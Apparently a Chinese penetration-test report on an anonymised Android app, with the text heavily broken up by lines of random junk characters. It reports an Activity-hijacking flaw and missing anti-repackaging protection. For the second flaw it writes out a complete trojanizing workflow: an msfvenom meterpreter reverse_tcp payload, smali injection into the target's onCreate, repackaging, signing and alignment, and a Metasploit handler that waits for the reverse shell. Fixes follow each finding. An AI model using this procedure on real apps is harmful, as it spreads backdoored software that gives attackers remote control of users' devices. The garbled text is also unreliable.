' `$ Z; Q9 s7 s! J" ^4 d0 a9 ^& w9 j2 R+ d* a* v+ B) H9 c+ N- q
4 t' T* n5 ~4 ]' Z* U/ L: K' o7 `; d" z5 s) @) t: M
' {$ l( D! S% X4 ?
2 V0 n: c5 v: v1 c" s9 M
5 R" \/ A& Y* r
# P0 o0 ]) i7 V9 H. l& ?. y4 a% a 表1-2 测试结果 # E+ F3 A, }2 I, U$ r
( O, n( t J1 K# G& g
! h& L& f" A' `; J1 e8 u b: N
* o' g" v* y) V8 t& q c; n/ Z, k Q. t. \
# G9 L4 d; U* j( f. p# y
5 e' R5 n3 K0 [$ ]0 E, f- s
) m8 I9 J1 W7 e% b0 [9 s
: Y7 P+ R5 M3 B, o" C/ j
" q" s r) G! M9 M/ ] O
7 e$ _9 _) M: l0 o9 h+ S
! N: A+ J; ?" C; f% }
2 检测结果 ' g% e2 x+ v1 i$ r. g) H+ g! e0 G
* K, E5 I! y7 [9 F+ I- h3 _9 v; w
* d/ K% Y9 r& B' `3 h2 ~" U; F3 r- b$ _; N4 u* y
3 _! k3 K+ n4 h. b R1 V( G
2 i) y$ T$ B" R) N6 t$ o 2.1 某某某 6 r2 D; R9 j" k
" p( l" O$ j" ^9 V( t8 j
% C i4 d. }. i6 h$ R! Z
" X+ g* j+ U; [: Z( _
# K+ @, O, L! z- i/ D3 W3 {0 }
9 L& o3 w. N: u/ J% ^4 I) A5 v 2.1.1检测目标
$ }2 ~/ r2 F7 g8 p1 [7 n' z2 J5 C: k
) ]) W4 T% T0 L& H0 I# M0 s' I1 `: X4 C0 h9 o; ?5 Q
& S% B6 G) j6 z1 q" R8 w6 Z
5 ^- Y6 y( n0 `. u# E J 目标地址: 某某某某某某APP
5 J8 M% u/ K5 w) f5 }& L6 c! f2 l6 G) I
P& N6 P* r9 M1 l( F% K0 o
- k) O: f H0 [. C% @
# u3 H" y+ z* C( |6 {# |
- R( ~' O8 \: F E1 N4 f$ D! G
2.1.2检测结果 . J; B, h, ~( P. W% U3 J' E0 u# ^$ o
Z1 q0 y1 L: j
5 U/ I& S8 i3 N$ C
7 I4 ?3 V' H: i& F/ A * X4 U; @4 ^; U5 c9 N" R* V
7 \; m& }& P; S4 z* n6 z 2.1.2.1
! {" D5 C; O) |& Y+ V
- [' z; E8 j- T: a. ~9 r8 s
. d2 E5 Y* ^1 ~ N2 K) f5 L- F/ D' z& ^; w1 Q4 @" c! a: Z
' d4 C$ ~5 u) r$ A% v; ?% g# k9 L1 v, X3 t% a+ {& D, z% g
漏洞链接地址:某某某某某某APP + E! c( c3 K6 H" [8 v9 H
% A; ?; X, @) V5 P- _ t7 u% l
) f# G6 n( n7 m6 }% R% l; N3 i
) w1 I8 C+ I- _0 { 5 `) M0 F7 Z, @& U
6 N" k, _7 t: a
, s# ]% X9 W1 g5 @8 c* y. `
- M. @+ Q @) [# Q. S
5 B$ r, J& r$ }% s2 {$ S5 o/ S; R
7 \, }8 e6 ?5 o, @ r8 |6 {% D# S
, {+ o5 K4 W9 s5 ^+ \7 Z
5 S9 I J7 {6 g# F: a, p 漏洞分析及取证: ; \0 I% `2 l8 d7 Y- r) s
( y% W8 N) w# a) S; ~6 @
J) }0 h5 U c! m
- W1 @! E8 u: u% M+ o: M1 ]
# C9 C/ f9 S7 @8 k9 S. n& V/ F1 k* i$ V4 D/ l
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: - Q8 M. U/ }" Y" ]
; a6 [0 J$ i5 Z" T7 r: }
8 B2 i0 |" P$ i5 R" P
& H5 V; z( p8 A, w5 C0 X( \$ [ , Y) ^9 Y6 |: }. g, C
3 R! z! I$ {6 Q( J. w+ p, M% \
& T/ p) r5 [! T/ t9 D5 ]" m, x: N* b" D; V. U& S) x3 n) ^
6 O* K; ?1 {8 i. T/ I4 z' N, Z7 W
8 @3 a) U/ [) {; \/ U4 _
9 v; V& r/ k+ p+ s 6 g5 @5 l# L0 C" S' d
. v* D J( c2 p# j1 Y, A
; A! l$ j& K/ P/ R ]' S8 b* s J
! t8 Z0 N Z( h8 K, r7 s
+ y. X* v6 F4 J$ a' b: J; I0 j0 X
% v# H# G0 J: l
+ m7 m/ s8 S0 Y6 ]* }0 G) J3 b
: r# i/ Y8 o/ q! L) V
( Q" J6 o. |& Y( Z8 F5 i8 D
$ E1 a" b& K2 ]7 y
- [; j6 `$ c# \% _; G
% u* H0 e4 Z h2 A
1 _4 G& x ?1 E: s1 m
. K8 M4 F3 G. V5 s4 q) f. l" S
1 w' O. ]1 Q( A( h
$ I, b) `: Y/ ]4 ~
: u. L5 @& a; E$ n" H
7 }+ v) c0 l$ ^. r' ^8 d" p
" o# D# a- ^8 Z1 p
& U& `6 Y" t" E. e7 L1 E! f3 V/ j2 ]9 [" G
) D, B+ @3 ?* m! z2 Y
3 A/ p, |1 T; J* I 漏洞危害:高 7 T V& C. G' u; F
. _& b4 u$ e6 Z7 O
/ j u4 p5 S2 x* p+ f2 x1 N; N6 |6 z$ t
2 i+ x/ x- b$ k$ i8 h
/ q o A/ E+ n P* c
% O" H; q! p/ U8 {, f+ ~; s: y2 E
3 Q4 y5 G$ l1 o
* {7 H3 t! |* p4 \' d# _
) t7 s5 S/ V* ~/ M1 Z
. C6 N. g5 d: r7 f. k; r* q3 ?; g# i' o+ i$ a' L; k- b
| $ R) [1 U8 _7 G4 N$ K
2 q6 [' R0 L% c% Y
/ `: n L! c$ u& R w# z
' b9 R- {6 l5 V5 O 严重程度 ! Z& j: p. V2 G% z* Q
% X# M: R) k# r# j# `
/ E/ x2 Y5 X/ G0 n& O* |- O" ]
/ m8 H1 v* c' s$ r8 y w
| ' R& h" F" B! @. {. d1 m5 O9 L
o/ t7 C/ D5 P# } 4 u5 b( C& f' O% I
, U7 `0 r$ D2 _1 a
: t* S* k; I; z3 H' D
. E/ B( M9 z, n& m
高
/ m6 O/ _' q' D. F$ z! _ H4 M, M
& {- c0 o/ v7 k
2 |4 f$ A- m6 s* [% X v% v# x& n5 `4 B! A4 O0 Q4 R
| * d1 r& D& o2 V1 J$ r
5 q }8 {8 _+ q5 P3 S2 P / x0 s% B7 t# i; o, k, x/ T' Q. v
o9 O& d6 o; b2 v: J8 C
4 K- ?. ]& I2 T5 G0 i
5 |. p" N$ e* Q/ a: d9 w ■
: y- C* i; _8 A4 R. ?8 ~5 E) T# J% E h0 `
: W) Z; D4 l5 d0 _; O) _$ t! Q! l! J# H: L! G6 K1 ^
| 6 K: x" n3 T, v) I E& B# E5 y
% v1 j& D: ^" m {* S: l9 I" P) L) {
) e9 h/ a' @8 [, E! ^
5 x7 Q: h+ g9 {: Q9 D: g % p" z* h6 |; _1 x/ m
* f" \% {& F! ^3 ^
中 4 K' U5 h- E4 m/ I
3 G/ j" z0 k2 X6 e9 O4 k% @
7 _9 L e( a4 V* }- J
* C' k* T: F8 f0 c$ g0 @ |
' C; @% @, ^6 E% h! {
' c3 j6 N- | t- `/ A& I+ N
9 L7 }+ j* e' f" ^4 K/ \+ I: x" ?$ Y8 z9 e$ p
1 e r. b7 Z) Z5 d$ p' h
. S0 f% j2 H% I6 P! W9 t 1 c6 w+ I( b& ]' K0 e
+ Y# b& S. n7 g/ c2 J! m c
; _% U0 k. b3 b; Q/ s* Z( H. o
% x! ]3 T5 f, {/ ~9 F- d+ Q |
7 X9 G, y$ K, ]$ h# ?: _1 j: R, d+ P+ \( J$ k/ _5 b
1 x6 l. _, \$ B" j
8 w8 ~3 e& T4 G 3 s/ }1 T, A$ x
: I( z7 v( O& ~1 D. }. {9 X 低 - l; X4 T7 V) T# A
! B, \0 G$ i. E4 G5 a8 ` $ j5 }/ W1 T7 `, @
. G& m4 C' E, h7 B2 H' ]5 ]1 u | & g: r5 [( X; v6 Y. {
& L. B; K4 _. Y8 w3 F& P 8 \0 Q! x0 z& k# q/ Z
) W3 q, ^( Y: q* a( [, K
0 ?% n4 j* p4 r& H" Y+ L5 ^* E' H) @6 j& q/ Z. H
! n- j. |# L5 ~
, [. Z- ^2 B3 \3 }% q; U5 d
, Z+ x; N$ }$ L" [5 x( K
/ y2 U8 f& e) ]6 f3 d. L, c |
2 y: K7 p \$ L! C1 |1 q; R& P$ T5 f. \: O6 S: o
! H$ B+ K# e" P6 [
8 [9 c) R+ C" a& v1 I! y3 ]% Q
+ u+ m. @5 f& _. O [1 g1 O. W) |4 m1 Z
- o! r( X. ^3 m8 l
G+ X; p+ i% Y/ o# Y
0 Q1 V9 m$ o3 D) x( J7 t
$ P- ^1 E4 O) P0 c
" Y, e( ]% P, Q
+ Y. h/ N I. W' u' G
1 S+ X! r- |* ^% q6 @9 T ( d1 J! |% f7 V$ m
. r9 h; U/ W- P- W9 K" k
4 h( z, j7 w z9 w5 I
7 M: h2 r6 d/ e" o: r
6 e' b1 I6 Q$ c; E6 p
4 d) O7 k8 O" k6 ]7 M1 v9 _ 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
3 v/ k: t$ J. {: A/ p2 r2 G
# ^& O: R( ^% f r; r( A6 V
& {+ Y U7 ~0 x+ }" D0 Z2 ?3 `( G9 z0 k
1 s' z! g1 H* a* Y; I4 S
& w E6 n$ H9 X! _ 4 |* O8 V4 ~- H( |
& A: `, ?7 T' D" a
, u0 Y; _4 ~# i% a# ~& u
4 E) a9 y% B+ n4 G5 \9 |9 T5 r 4 ` ~3 j8 r$ w, E7 v
/ f7 o; o+ y `; g
+ ] ?" T" q* Z' V# G
4 L" G. P I9 s9 f
6 a! ]& l/ v$ h
5 w$ Z( `; H$ k0 G0 W / J5 M# N, n: T0 V/ t L6 T7 q% ~, N
4 s4 Q) [ G# s) J P! G2 I( m 2.1.2.2 5 ?* n! b9 o) x: B# |
8 ~4 o" U$ Z4 X( t" F1 l+ s" {3 _! U
3 q3 W2 ^. H0 z6 A5 ]5 U( G1 `7 `0 H' P' Q& y' x
5 |, F/ ?' ]& S0 [! v- j- x! b/ l8 y* z
漏洞链接地址:某某某某某某APP 8 S7 K6 @ D% R" g, A- w
; m, I! Q( r$ D' o
4 [, x7 `9 O/ _ d$ g
8 D5 n+ C& Q9 f/ E, n& ]5 _7 G K ~7 R $ R+ M, f" q% H. Q+ k3 L! R
2 b- E \& Y) {6 o S e9 \ 漏洞分析及取证: , p' z6 q4 N$ i6 }# H
( G6 u; n2 ]7 S; b: s% y8 o( e
5 o% ~: q" N2 \/ Q& O: q8 K3 d9 k/ \
2 E% ]( R; s1 K; t2 V
$ h. ]8 w! l8 P: L3 f9 e; P; A
' v9 J8 _1 o; h9 u- o, J 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: ) k( z- p% ~6 [% g
4 q6 E: E( \- U. r4 w# W( a
5 f, \% C( o$ }7 r n. C" D" b
+ k- \; z; z. i. ^" K+ H% d 4 f I3 r+ f5 ?# ]4 Z; \1 b
/ j& b k H( [5 i6 _
用Metasploit 生成木马 apk
- ]! l9 J0 w: @/ j# C# r6 h/ U( K
9 N' A$ N0 f- u ?4 u# J3 z* G
5 D. `/ Q! ]2 s5 Z! _+ l
" Z5 U7 @, p8 a/ w1 H ) ?4 y+ b5 e; u0 i# A8 [9 y1 `; @
, ?, k+ j, |5 p1 o/ U
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
$ s! z f, ~" Y5 R5 j3 i$ Q5 O
( G7 f- `" F4 m: {0 b n
( u3 o* `4 G6 U0 {: z8 V+ j K1 {/ ] n
( P6 \* U1 J8 k, y" v$ v# _# k! y
反编译目标apk和木马apk 1 P+ R( P9 E) q
8 W4 m# X! c r9 I! r, p" y! u6 `
# b1 u) T! n7 o0 B
: f6 U( X% b1 F# D7 y* u & O- e( {% d. s# _
( b- p. x c3 k' [' |+ Y apktool d target.apk
) ?+ `) L" s9 P) \& W9 j$ p J2 E! e( |3 K) B
apktool d cockhorse.apk
; D, q; D0 R7 Z7 [( R: c& o( E/ V3 P a+ T# v5 z* @3 i1 Z! q
* b, o/ i8 H1 M4 `( [+ T7 K# K1 z
) a5 R9 S! Q. m9 a2 Z; G & Y, D! @6 D8 s3 V5 R9 V
! G B; L! i0 n* i- w g# x: _
木马 apk 注入目标 apk 7 Y0 V; V0 w! k4 l, `: o
1 a% ]' y" d; _5 W* I
7 W2 ~) Z2 {8 |7 W, H
8 ]& ]5 r& f/ o4 i6 o
8 g: | p `: @5 ]1 Y: m! ?3 |$ V- O/ X1 y
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
1 g i) Z8 T9 K. T' o) Z6 \
3 [+ C0 f+ C7 ~# M* Z: }
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
. p' U6 T/ E& f7 w* y
3 O. t1 R* G# R8 ]
0 \, ^; |1 ?6 }- R- s
; N6 G/ a: k7 b! Q
, l) H9 `) K$ d. A0 a) Y: f+ k! M1 A$ N& h, A: ]% n
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
* F5 }; ?& B" D- f9 j2 j( ?6 u( N, x3 x2 Y$ l5 a1 \
' S: B5 s; K6 A- I6 q! s+ ]- b8 A7 [+ Y; i. u" E
4 e6 J; ~ M; C5 W3 g* G
$ l/ G. c# b) w1 @& w8 G/ G# ~& | 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 / e6 x" Y- f9 h, G: Z
1 q- Q g. j& [
% Q5 L0 a( R# S/ ~
3 c" H$ O9 P6 S( v. ]' } 8 T( |# ^% k0 r9 j& X+ }
; s$ X* M2 t( @# a
回编译生成最终 apk
& F& ~( c# @: {2 n# F
7 b4 r6 G& r% u r& l
) v" F+ M8 I/ r) C. d% x
5 c; S1 C4 D) }& a3 }7 s7 t- F
3 ]7 V: o1 l' O
) }5 n" ^5 _+ h- @ 重新打包
, K9 J' r( _& C5 V' `& o) u9 w6 A- h+ Q" `
X- }9 i# I/ n1 P8 Y
7 X/ }" U: M2 y* Q k
* h: e4 [& g* q
$ x! ]: s9 N2 P" u apktool b -o repackage.apk target_app_floder 8 f) H0 E! J4 F c" _& A% W
, ]2 ]( d$ P B
3 e. H( L0 p& J/ h
1 ~/ _6 |1 s |5 q% f
' j8 [& Y4 c' }! s1 h3 R1 l: V$ O" d+ P% N" c
创建签名文件,有的话可忽略此步骤
% u* \( ~! @0 f1 `4 y P* ?: D' `5 B* `* H
/ a3 k% h' K/ M
/ A& H: a9 s/ U8 y; i+ h% e' l
I6 ~" t/ v& S7 O- F, }& ]5 T
`4 i' X7 j; M; g keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
' O6 ]+ n6 {9 v& W% g. _
% H B# O' t% K2 Q4 A6 s
8 S! j( A" V4 L9 ?- v h* k/ A: L: ~
# u' M# A/ t, v- Z
6 L" p3 `8 S9 t* ~" ?( t. X
签名,以下任选其一 4 [5 q% R' T. M5 T7 E! d
7 }& ~( ^# Y$ F1 g7 F
+ }" ^" H+ T3 H t- v* V
1 t' B$ R( Z% q7 Z4 [8 L4 Z ' Q: `/ X: V% v+ `
, g+ h* d7 `$ _, Z$ ~4 x
jarsigner 方式
, C- b2 R0 s' e0 }4 E7 d+ Q, ?+ `( T3 R6 F
& I- X0 U. i+ A% R5 L7 w( ~7 e2 ^ j( M9 c @ c1 Q7 s6 B
' U! d: a- r0 ?% j4 _
. z( }7 V/ m, c+ O' a( m7 | jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
' |# y( q% D! @+ x
3 ]" A+ q. A5 m' u- g0 J
- N, w/ _9 g3 M) [0 R: `2 l
& m1 {% V8 P z0 n/ C
: i3 f& Y4 g# z& r9 h3 [
) B' m+ M5 u) ^2 T
apksigner 方式 7 X3 ?! C" M; W4 M
2 `; ^0 H) t1 x+ O: y
4 U. l( @# N; O1 }$ c
7 u7 e c- h4 [5 _5 [$ L 8 }. l5 ?6 \( ?5 P& Q' s
, x- j3 e- Z5 N, D3 g, T apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
" K3 N1 g% z6 i' H1 n! _4 r
9 ]2 I; L' s3 |8 C; q
; s; m+ X7 Z' }% J& H+ \6 @, F9 i0 |9 z7 L* \
1 F8 e( h# }" I+ Z+ d/ W* ?) F3 j4 ]& f) U: K
如需要禁用 v2签名 添加选项--v2-signing-enabled false
5 ?% J; @% A/ |- {: {
! Y; [& i0 x) _2 l X3 |* \7 N
* h' }* T9 K/ b, {2 R8 E4 O( i. V/ F% K) D8 A7 f
8 \. e F9 M( H6 \
. G6 V2 |+ r& B* p e: c! ^ 验证,以下任选其一 7 [% o% `. S- e7 o0 m7 _% I" g8 j
/ N( d; ~0 n9 Z/ f% T
% W( i) U2 Y3 _7 N3 F) E$ j
! z( M% J0 N; w7 v, u5 m0 F" d
5 ^( A0 b2 \2 X ^1 p$ a5 @. d& w4 ]' u* o/ l1 }
jarsigner方式 ( V# r$ ~5 u. W5 j* l" p! G. t
% @+ X9 H' H0 b7 O
$ |4 N6 V/ K7 C* B: l8 b- `# H( a9 f$ v0 D3 d2 Z8 v. y
- m, @8 B* g2 j. M9 B
# q- W1 {' ?) |% c3 B$ y4 H: V
jarsigner -verify repackaged.apk : M* O: f0 L" }9 {, R: i
: r1 c# S( E: c" z9 ~" R
: k1 F" C' j, Y1 X) H% ?( E* \1 E+ t4 o
( ^3 x0 I; ?. z( ~* p 7 P. K' [ Y6 D" w+ y, x
. L. }6 }9 n) i
apksigner 方式 3 I& P' }7 [ i- O4 V" ]4 F
5 _0 Y3 ]0 \& ?
9 h' ~* n2 L& l, }' c& ?, p* B3 v
+ {. d2 `) Q! r! K 6 V) ~5 r1 X" I8 o- H2 e
' K5 ?$ D% f- `3 K; c
apksigner verify -v --print-certs repackaged.apk
: j$ A, O* _0 U" Y! X _) x- ~# q2 q- O
3 L( y6 r0 u0 }( z& _* P, i; ^" ?3 e) Z: q
) z) }& f4 [# a1 P8 e
, F3 S: k8 ? I( ~
keytool方式
v4 l) Q A9 z7 n
! O. ?" d% @: A" ~, Q! P2 I& }% M& i
6 h% C9 s& Q/ Z" W
; i" a9 q0 R" G7 L$ w. `
$ D/ P* y; l- k3 p3 [9 h" ]' J* R! C. t0 t. }
keytool -printcert -jarfile repackaged.apk
3 ]- E5 Y7 q6 y: }* B$ ~3 i- |# j" _- o! a6 ]5 s
# q/ L3 \1 G& C! D4 U8 R
& q0 A* a9 U, v% d8 K
5 u3 M+ g l# }) F
1 z2 n \6 _8 \2 \+ k4 M 对齐
0 E+ ^ p2 }# e7 \5 P, G: D) t0 n
: t1 T* S. S/ U6 F! ]/ k7 q. b
0 I7 i, V* M7 i/ }% J& g" d
1 E2 R$ Q% }& n% x. |' D 3 [& f2 ]) Y4 j- G5 r
' @9 [/ O& W. s3 K* Z+ z
字节对齐优化 ! @0 y; }5 n' ~7 N; p
( l, y8 c3 Y9 ~' @% E& ~
7 V) O4 Y! {7 S* O) B6 P' @! O: {# S+ r4 h5 W' @3 g, z
1 w! I i' {& X0 d* M; }' }
) n$ [8 V w) z0 l7 g
zipalign -v 4 repackaged.apk final.apk
8 E- U# ]* x2 }9 N" c/ I1 c% k" L
3 m. W# |; Z, k9 f
( T1 v8 ?. f: v/ |/ V0 g0 o: R# }7 v
. _4 z7 t/ ]/ O9 z$ \
8 s1 g& e% P) i9 k 检查是否对齐 7 w" Q0 ^ e2 R' F [1 L5 r" Y6 J
+ o6 i0 ?2 R# S7 v' ^
3 R. d) Q- Y7 ~1 ~# @, Y) C
+ d8 m+ i! K2 m' R! u8 |4 u
# }& |& e/ [# ?
- K! X `0 ^+ p6 q* j zipalign -c -v 4 final.apk
0 z; H$ r" y7 `& }
" S4 {% e2 y- u2 M
& @7 N& s- |* ^3 M7 K7 P( z3 |/ L
1 P$ j( B) _/ S {( n8 O
( j0 C. r4 i( Y) E3 r' Y$ i M7 P% e5 r6 Q/ e2 T& z
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 8 O: k6 Y0 T. M0 r# p& V D6 }# z
6 n7 o5 o- l2 m- i. k
- b+ o, S0 ~( Q* a* n' Y4 z4 y$ G/ o3 l* Z; X$ D; P. }, e* \( Q1 h
+ }" B- h4 Z/ K' c5 a
) g7 M% J1 e0 l( X; d 启动Metasploit控制台,配置参数等待上线
8 e) g, h% B+ h5 [* r
2 M) N& _ i6 b
8 m$ A7 G$ P- s3 G
$ V" u& ]" T2 s( ^) J8 ~
, I7 t' K- ~& |( R+ ?5 b P( ?/ k8 s6 d: `9 B6 Z4 C! |6 N* _
在终端依次输入如下命令
, U1 m$ o8 x. j' ?3 w, i
5 n, @. v; I9 i) z6 W0 |! }
, o3 n5 Y; g9 v* W% e8 ]" U$ \
& ^! s8 B& |# W, D/ A. a
) j% p9 d4 ^: b( X9 {6 n* y$ f+ c. H
msfconsole
( V" g. q" V' @) O' v+ p9 D9 V4 r8 Y8 t1 w% @- S$ X& K" [
- k' ~# X4 s$ i3 G0 |" @
% H) n: e) Y1 p) p$ Z1 y- K. s
: h0 c% u- J# I' n
' n! f5 ] j/ P+ D6 W use exploit/multi/handler
2 d$ w: L: h0 S# Z5 m% j: `5 ~# ~2 j4 @9 z
/ R* W" Z" w; p5 X9 y
3 w; J V1 ?( p. D' |+ a $ R" b% r+ \- I1 s- g5 N: ]
- R% p. b' }6 k8 @2 |( S# x set PAYLOAD android/meterpreter/reverse_tcp 1 U( {2 x( v1 }8 M
! ~' V$ D' D/ J& T
# ]1 k6 l* L* ?9 Z+ [9 W# F* w& `8 Q5 c9 d1 x
& x( i# k/ S7 ^* u
1 @5 \: V! e$ j8 q6 S) I set LHOST 192.xxx.xx.xx % Z! x# p% d! E. f, l2 k, q( A
: ?4 H, w" J/ v0 i
) m* I( Y+ e( n' V1 `6 U- I) g" r) m' Z3 [) M6 S2 C; D
3 `, V5 H4 |* a/ p
0 d4 v! t: U6 l. n* }$ H
set LPORT 4444
, o# [3 ]- V$ G, |0 g; K3 N4 [2 m7 q6 c7 p l
+ }' y" |7 h+ A( Q0 x+ t- S9 H0 r6 p. w! W2 m$ Q' k1 M- j7 R
1 [+ a+ v3 f' Y0 N8 {+ y t, J+ O' J- j& B$ k
exploit
1 e1 [" P6 F1 p7 Z7 D# [& y
2 K4 u) @9 \' ^" `1 A" R! F3 x: _
! f3 C& j3 e4 ^# u$ w2 L0 q
5 P/ u/ o! m4 [/ u3 Y 2 y1 a; Z( l$ |/ b
2 ^' k: p$ N; A
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
& J2 [, K3 e3 \ L/ ~! m5 n
8 s" V; S7 j* z. u: b* i: Z H" b6 b
3 A; c% D1 A# t. X4 A. P. [4 a2 W1 C% i! i& N
7 b" o0 h: d/ t% O5 x5 M
! Z4 L4 L9 a6 e; |/ l6 Y 漏洞危害:中
& h4 q4 k% W8 [; `. F! L$ N; R# M6 i/ D: f+ n' v! y+ R7 ^
; D/ p+ n& h% D" y! G8 R- w) [, Z! P7 V
2 D& e; S: F+ z0 Y& o1 w+ Z7 F8 n6 E2 \
# r1 Z0 |8 p: r# F# c. ?
7 M7 G+ r; B" u$ o
% G& x/ n3 e- E0 b% M* O. ?. u- l7 F, P& q) ]
2 s. ^, a# O( u/ h( Y2 u$ A( ?
9 `' Y( p" ?6 s, F, n 7 k' ? |& f. B: Z" x" b; w
! V! D' v5 G; o0 f |
% G" c( ]( }3 Y2 L
. L" Z, {' U0 t
) a" G- d# n- o9 G2 b0 d/ x
! d+ X8 r+ c* _2 _ 严重程度 C8 I" N1 f% {8 d7 |) }
0 P" ^7 Q) b5 F; K % b R* j0 ^* L1 B4 |% l
6 {/ {& k5 T( |: o* h4 B& q
| ( ~% X/ m) D$ d, O8 p \7 B
- ^& e, \1 `9 ^* X* {# I 1 o; R$ E% K# p9 \# `% q0 D4 {
7 C3 d3 ]* T6 t+ x
! ^- \) a6 @- w! W
) W1 [; ~, C9 {1 Q9 W 高 5 V# E9 n9 l6 J8 }# M. F) V& J
, f* f. s- L' |4 A$ m9 u* Q% a7 e8 t
, c+ L" T6 I, O5 N& d7 u* k" c
. v0 |" }- w# w4 m5 s9 I
| 6 t, W. ?" b, e5 a& ?
! ?8 n: q% K6 D6 j# C
- ~0 y; z+ J" y0 {# M; d8 `8 f/ v# f5 }
8 D# e; s3 P# u V. L2 C* R
" g9 m0 {; [4 m8 k7 a3 x
■ 4 u% ^% }8 x6 x- B- k" ~
: o$ u7 N/ e4 R8 o! |0 i. F4 T 4 i2 Z9 z) a- t% L( X
5 n8 s( s! T6 u! r6 `1 `
|
% T9 p% c2 e. P2 f+ v+ r% {: J; ?$ R" S1 O2 e( L) s# }, E
1 t7 T }. Q: z0 z9 S
5 L) k2 f& A3 H, r& k0 s ]) D0 p
# H! ?. b r& D! l5 ?1 ?& s' t
9 K1 Q* n" P. N% C2 g 中
/ ~# A4 g5 F( ~7 {* Z( g
% Y' f8 }& P+ W7 k
# |7 O" k. {2 ~- `
- ]: q$ V7 I" p% W- F | 4 l& V( M: H! x( A" d1 j
3 I/ `% F) m: k4 w* T" B
t7 \' w/ [' ]4 n( U3 F$ k$ T
2 N0 p$ k: f8 U Y, G
. d0 P; G2 ^0 X5 L8 U/ Y" j1 V3 a1 C7 Y; V# {2 e
3 Y" v; S- J; \/ I" w7 F C$ T1 s8 ^; \0 u
" w3 @) ^2 A2 m1 X) U# \
; c, I( Y* i ~2 B( g* e! ^+ {( j
_; e7 e5 I8 `' F! e+ J5 s0 h U3 G8 x- X
| 9 e6 r% k2 F% w2 K1 t1 L
9 g6 w0 ]/ V+ [% T$ O$ \. A0 y m7 v# x
2 N$ I6 Q1 [4 T0 G4 h' b9 E2 L. P" X9 i5 N7 x' @( w
7 @& G6 C& D n V. I u! N! v8 m1 J2 O8 r, l: h4 z- W/ {* k8 O& N
低 0 x2 u7 O$ P0 Q5 r7 ?6 n ^+ c
0 q" W1 _0 p: @- a! X7 Q
0 O- a* H# @! H4 G; l6 W
# M; c6 b. W6 o( d7 o5 C | 5 a, e! \9 a Y
$ ]: A* _4 \- X* g6 O6 v
. w$ ^% H2 r% B; G) R" ?2 B- E; |# v6 A' Z I1 k; W5 d0 y
) v P+ Q5 V# ?/ z' b3 i; h; E) _/ g( R9 c2 H3 j. r
% _; G) Y- J* ?! d6 z# |
1 e9 ]9 ?4 ~% Q2 T! r9 c4 V 9 M, z- Y" M( J/ i; {
2 W7 p; X8 W' \/ E: @/ R
0 S3 l- J+ X# e9 s4 k% {" s- p
) ]% ?9 H1 b6 O: L1 @! M | + ]- U8 e3 P5 W9 D# T" _. f1 b& U. }
0 W' E% v: Y4 W$ {
) ^& R2 p6 m3 r/ ^8 f: }* M' t( ^- s& _1 u) g! Y$ y7 `
) b3 i+ J' P4 L+ U
! J$ w. [' t; a
c0 N/ N( I( s# Z) [/ u8 h/ I) C* ~0 N* w# l
5 }% ]* o- L; I5 K3 p
( s, ], D# k+ u7 C: n$ @! X
% Y g, s" C+ N/ c% O* z# r) M$ v5 w
9 p! }: N: E$ W3 A3 {/ y
% M" B/ j3 G6 _/ t9 U" `3 `: z' b8 j* ]( t0 g4 k% m+ u A
[0 [5 C" C$ e6 C/ U$ w
! l: V- ?- Z9 ~8 q, R' v 6 t9 G& n& e4 M+ E0 {2 b4 F( h
/ O. j; Z" ~1 m! R5 x6 U 修复方法:
' m+ Q. A. k; W7 K. ]0 o/ Y0 W
5 E8 k; f4 O' C% c# E
" H5 w6 Z( }- A% @3 i2 M+ c
+ X7 E# j6 ]) U6 a! ^( x
) E/ E0 f6 d2 p. v2 v
3 Y( \1 h5 Z- B# P# ~ 1.在 APP 启动时应做签名校验防止二次打包。
! {+ h0 P) e* D* ^5 O# k- E; k' q* o t7 G7 \- ]0 o
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 ( x9 C" U" d6 {% I
& v* p- O* T, k. z. ?; g
' g9 j3 i; ]% Q2 |+ N8 M- y. A6 U! M: N* @! e
& F, N$ A$ d3 N" C6 t
7 D( X; B! w7 D # n9 n" _# b5 K/ v. B
/ _: v0 |6 I# K6 ~$ Z
& Q6 u8 q: L# i* p0 F% p6 q7 \- Q* A
$ C% D' j" P& {$ p t5 {. P R3 k% q) u; k5 V+ p0 T+ R& P
5 X; L2 t- G7 |2 ^% s' g
! n. T# `/ U- Z1 |& X; m4 a* u
" h1 c8 a* o$ g/ ] M% D
! @+ b( [! N! y, M$ b
# D' F3 e; d8 z4 j. N* W5 A* V& m- H: Y3 D* [+ Z
6 o0 M& u- i8 Y% ?
6 i. h# y) u1 W+ D. ~5 t4 P$ Q